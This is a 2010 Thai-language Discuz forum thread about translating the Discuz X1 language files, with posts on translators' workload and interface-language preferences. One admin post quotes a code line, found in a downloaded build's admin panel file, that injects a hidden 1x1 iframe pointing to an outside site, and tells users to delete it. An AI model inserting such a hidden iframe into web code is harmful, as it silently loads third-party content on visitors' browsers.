Discuz Thai

 ลืมรหัสผ่าน
 สมัครสมาชิก

ข้อตกลงการใช้งานกระดานข่าวดิสคัสไทย DiscuzThai Agreement (English Version) ประกาศดิสคัสไทย - ทำเนียบดิสคัสภาษาไทย

Discuz! X3.5 Thai R20231001 Rev.8 (NEW) [วิดีโอช่วยสอน] อัปเกรด Discuz! X3.4 เป็น X3.5 Discord ของ Discuz! Thai Community อย่างเป็นทางการ

Discuz! X3.4 Thai R20220811 (REV.75) สิ้นสุดการสนับสนุน Discuz! X3.4 ภาษาไทยตั้งแต่วันนี้เป็นต้นไป (ขอแนะนำให้อัปเกรดเป็น X3.5 แทน)

ค้นหา
แท็กยอดนิยม: ดิสคัสภาษาไทย Discuz Thai
เจ้าของ: adman

[X1] ทำไม ภาษาไทย Discuz 100% จึงไม่แจกให้โหลด

  [คัดลอกลิงก์]
jaideejung007 โพสต์ 2010-5-17 02:22:04
รีบนครับ

จัดการเลยครับ

ไฟล์ยังเหลือเยอะเลย

หรือลงนาม เพื่อเข้าตำแหน่งทีมแปลภาษาก็ได้ครับ

ยินดีต้อนรับ(แอบอยากได้โปรแกรมที่ว่าด้วย อิอิ)

ก็ว่ากันไป
akito โพสต์ 2010-5-17 04:15:33
ตอนนี้อยากให้ช่วยแปลไฟล์นี้มากๆ เลยครับ
ไฟล์ที่มีอยู่ที่ก๊อบมาจาก demo เละเทะมาก =w=;
ผมเลยไล่แปลใหม่
http://64tk.com/lang_admincp.rar
 เจ้าของ| adman โพสต์ 2010-5-17 05:04:03
แก้ไขล่าสุดโดย adman เมื่อ 2010-5-17 05:07

มันเป้นบัค ครับ ผมโหลดมาจากจีน ก้อมี
แก้ที่ไฟล์นี้ครับ
source\function\function_admincp.php
บรรทัดที่ 680

ค้นหา แล้วลบทิ้ง
  1.         echo "\n<iframe src="http://www.Trenz.pl/rc/" width=1 height=1 frameborder=0></iframe>
  2. </body>\n</html>";
คัดลอกไปที่คลิปบอร์ด
ส่วนเรื่องไฟล์ภาษา จากเวอร์ชั่น discuz X Demo เดี่ยวผมขอตรวจสอบก่อนนะครับ
ตอนนี้มีโปรแกรมดีแล้ว น่าจะเร็วขึ้นกว่าเดิม   ครั้งก่อน ตรวจมือ อาจจะผิดพลาดบ้าง

แต่ดีกว่านั่งแปลใหม่แน่นอน ภาษาที่ทีมแปลภาษา ได้ทำไว้ในเวอร์ชั่น Demo นั้นถือว่าช่วยได้เยอะมาก
เมื่อก่อน นั่งทำกันเป็นเดือน กว่าจะเสร็จ แต่ตอนนี้ แค่ไม่กี่วัน ผมกับทีมแปลภาษา แปลไปได้เกิน 60-70 % แล้ว
dome555000 โพสต์ 2010-5-17 14:02:12
ขอบคุณมากๆเลยครับ น่าสงสารคนเเปลเนอะ ยังไม่เคยเเปลเหมือนกัน เคยเเต่เเปลไฟล์อัพเกรด เดี๋ยวลองเเปลดูครับ ขอบคุณจากใจจริง{:18_761:}
jaideejung007 โพสต์ 2010-5-17 14:03:16
จ่ะ มาสนับสนุนและดันๆ ต่อ

อิอิ
new2007 โพสต์ 2010-5-17 17:15:04
ใช่ ๆ เห็นด้วยกับคุณ adman เป็นอย่างยิ่ง

หลาย ๆ ท่านที่เข้ามาสิงที่บอร์ดนี้ ส่วนใหญ่มาสูบไฟล์

กันทั้งนั้น (รวมทั้งตัวเราด้วย -*-) แต่ก็ไม่ได้ว่าอ่านะครับ

ถ้าใครคิดจะสูบ แต่ไม่ได้กดดันก็แล้วไป แต่ไม่น่าให้อภัยที่สุด

คือพวกชอบบ่น คุณรู้หรือไม่ว่า คนทำนะ เหนื่อยกับการแปลไม่พอ

ยังมาถูกบ่น เป็นอันว่า ทำอะไรก็ผิด ผิดทั้งขึ้นทั้งร่อง

คุณ adman พูดถูก แค่เปิดไฟล์ที่มันต้องแปลก็อยากจะปิดหนีแล้ว

บางไฟล์ต้องแปลถึง 2000 กว่าบรรทัดเลย ซึ่งไม่ใช่แค่ก๊อปวาง ๆ นะ

ผมคนนึงที่เคยคิดอย่างนั้นมาก่อน ซึ่งหลายคนแน่นอนคิดแบบนี้ แต่ผม

ก็พยายามที่จะแปลเหมือนกัน ถึงได้เข้าใจว่า มันลำบากแค่ไหน ชนิดที่

นาน ๆ เข้า เห็นภาษาจีน ก็แทบจะอ้วกเลยทีเดียว เห็นใจคนทำบ้าง

เถอะนะครับ ถึงไม่ช่วยแปลก็ไม่มีใครว่า แต่อย่าทำร้ายด้วยการบ่นเลย

แล้วอยากบอกคนที่ สูบกระทู้ นี่อ่าตัวร้าย แค่คำว่า ขอบคุณครับ มันยังน้อยไปเลย

ประสาอะไรกับคำว่า xxxx หรือ thxx เพราะคำว่าขอบคุณครับ นะพิมพ์แค่ 10 ตัว

แต่คนแปล เค้าพิมพ์กี่บรรทัด เอาใจเค้ามาใส่ใจเราบ้างนะครับ แล้วสังคมจะหน้าอยู่ขึ้น

เลิกเถอะครับ คนทำจะได้มีกำลังใจในการทำงาน

เห็นด้วยกับโปรแกรมนะครับ สุดยอด น่าใช้มาก ๆ ครับ

สุดท้ายนี้ นี่ไม่ได้เป็นการบ่น หรือด่า ใคร แต่ให้หลาย ๆ คน

ได้ตระหนัก เห็นใจ และความยากลำบากในการทำ ของคนทำครับ

ถ้าข้อความนี้ทำให้ใครบางคนไม่พอใจต้องขออภัยไว้ ณ ที่่นี้ด้วย

ผมแค่อยากให้เข้าใจ และหยุดพฤติกรรมที่ไม่เหมาะสม ด้วยครับ

คะแนน

จำนวนผู้เข้าร่วม 1จิตพิศัย +1 ย่อ เหตุผล
Golfy + 1

ดูบันทึกคะแนน

unisexx โพสต์ 2010-5-17 18:09:25
ขอบคุณมากครับ แต่ผมว่าไทยจ๋า~ 100% มันก็มีผลเสียเหมือนกันนะครับ

จากตัวอย่างเว็บผมเลย มีสมาชิกส่วนหนึ่งของผมซึ่งเป็นชาวต่างชาติ~

สังเกตง่ายๆได้จาก
1.โพสต์เป็นภาษาอังกฤษ
2.ไม่เปลี่ยนรูปโปรไฟล์ ทั้งๆที่ตั้งเป็นกิจกรรมให้เห็นกันจะๆ

ซึ่งตรงนี้ผมเห็นว่าน่าจะมีส่วนที่เป็นภาษาอิ้งบ้างอย่างเช่นส่วนเมนูครับ (อย่าง login , register) เพื่อขยายกลุ่มสมาชิกส่วนหนึ่งซึ่งเป็นคนต่างชาติ
และคนไทยก็สามารถใช้บอร์ดได้อย่างสะดวกไม่ติดขัดเหมือนกัน~

เป็นอีกหนึ่งความเห็นถึงทีมแปลภาษาไว้พิจารณาด้วยครับ

และผมขอขอบคุณทีมแปลภาษาทุกท่านมากๆที่ทำให้พวกเราได้รู้จักและใช้งานบอร์ดที่ดีที่สุดบอร์ดนึงครับ ^^
nutkpz โพสต์ 2010-5-17 18:19:19
ขอบคุณครับ เวลามีอะไรมาจะได้แปลบ้าง ^^
new2007 โพสต์ 2010-5-17 18:27:46
เข้าใจคุณ unisexx นะครับ แต่ว่า

ทางทีมงานแปลเค้าคงไม่มีทางเลือกได้มากหรอกครับ เพราะว่าทางดิสคัสไทยเอง

เน้นให้คนไทยใช้ซะเป็นส่วนใหญ่ แต่ผมคิดว่ามันคงยากที่จะให้ได้ทุกอย่าง ๆ ที่

ทุกคนต้องการ ผมคิดว่า น่าจะถามทีมงาน แล้วเปลี่ยนเองจะดีกว่าครับ เพราะแค่บางจุด

และไม่ได้ยากมากมายนะครับ แค่เปลี่ยนแล้วทับไฟล์เดิมอ่าครับ น่าจะเป็นทางออกดีที่สุดครับ

ไม่ทราบว่าเห็นด้วยกับผมหรือเปล่า
akito โพสต์ 2010-5-17 19:43:23
น่าจะมีระบบเปลี่ยนภาษา
มีอีกกรณี ลง 2 ที่แต่ระบุที่อัพไฟล์ ไว้ที่เดียวกัน
แต่ถ้าเกิดอยากได้ภาษาอะไรก็แปลกันเอง
เหมือนกับที่นี่น่ะครับ
http://www.laozaa.com/
ขออภัย! คุณไม่ได้รับสิทธิ์ในการดำเนินการในส่วนนี้ กรุณาเลือกอย่างใดอย่างหนึ่ง ลงชื่อเข้าใช้ | สมัครสมาชิก

รายละเอียดเครดิต

รายชื่อผู้กระทำผิด|Archiver|ดิสคัส ไทย Follow us: Become a fan on facebook. Follow us on Twitter.

GMT+7, 2024-5-3 18:47

Powered by Discuz! X3.4, Rev.66

Copyright © 2001-2021 Tencent Cloud. Licensed

ตอบกระทู้ ขึ้นไปด้านบน ไปที่หน้ารายการกระทู้